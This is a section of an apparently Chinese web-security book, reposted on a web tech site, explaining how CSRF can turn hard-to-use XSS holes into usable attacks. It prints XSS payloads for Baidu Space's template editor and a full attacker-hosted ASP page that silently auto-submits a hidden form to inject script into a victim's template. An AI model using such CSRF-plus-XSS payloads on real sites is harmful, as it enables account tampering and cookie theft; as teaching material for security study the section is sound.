7.4 基于 CSRF 的攻击技术
前面提到了基于XSS的SQL注入,这里要表明的是“攻击不单一”思想,在真实的渗透过程中,总是需要不同技术的互相配合。本节说的基于CSRF的攻击技术也是一种比较通用的思想,它包括如下内容:
· 基于CSRF的SQL注入(比如:网站后台的SQL注入)。
· 基于CSRF的命令执行(比如:网站后台的命令执行)。
· 基于CSRF的XSS攻击。
很多都是基于CSRF的,其实都是一种“借刀杀人”的手法。下面介绍基于CSRF的XSS攻击。
有些XSS漏洞不好利用,比如有些后台的XSS漏洞,我们无法进入目标的后台,怎么能利用目标的XSS漏洞呢?如果进入了目标的后台,还利用这个XSS漏洞干什么?(其实,如果这是一个持久型的XSS,就可以种个后门)。有些被称为鸡肋的XSS漏洞其实很多时候是因为没有找到合适的利用方式而已。
比如,曾经的百度空间的自定义模板有两处持久型的XSS漏洞,一个是在编辑CSS的textarea中写入代码</textarea><script>alert('xss')</script><textarea>,然后保存该模板,就会出现跨站;另一个是在编辑CSS的textarea中写入< /style><script>alert (document.cookie)</script><style>,单击“预览”按钮会出现跨站。这样的过程似乎只能跨自己?当然不是,利用CSRF可以使这些不好利用的 XSS漏洞变得同样威力无穷。
例如,一个攻击者构造的页面http://www.evil.com/csrf-xss-baiduhi.asp的代码如下:
<% s = "<form method='post' action='http://hi.baidu.com/yuxi4n/commit'>" s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='ct'/>" s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssUse'/>" s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssColorID'/>" s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='-1' name='spCssLayoutID'/>" s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0'value='http://hi.baidu.com/yuxi4n/modify/spcss/20f51f4f94129a36aec3ab11.css/edit' name='spRefURL'/>" s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='cm'/>" s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='</style><script>alert(document.cookie)</script> <style>' name='spCssText'/>" s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='abc' name='spCssName'/>" s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='0' name='spCssTag'/>" s = s+"</form>" s = s+"<script>document.forms[0].submit();</script>" Response.write(s) %>
被攻击者yuxi4n访问这个链接时就被CSRF攻击了,接着就是XSS漏洞的出现。上面的CSRF代码提交了自定义模板表单并执行了预览功能,预览的时候就跨站,而且CSRF可以做得很隐蔽。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论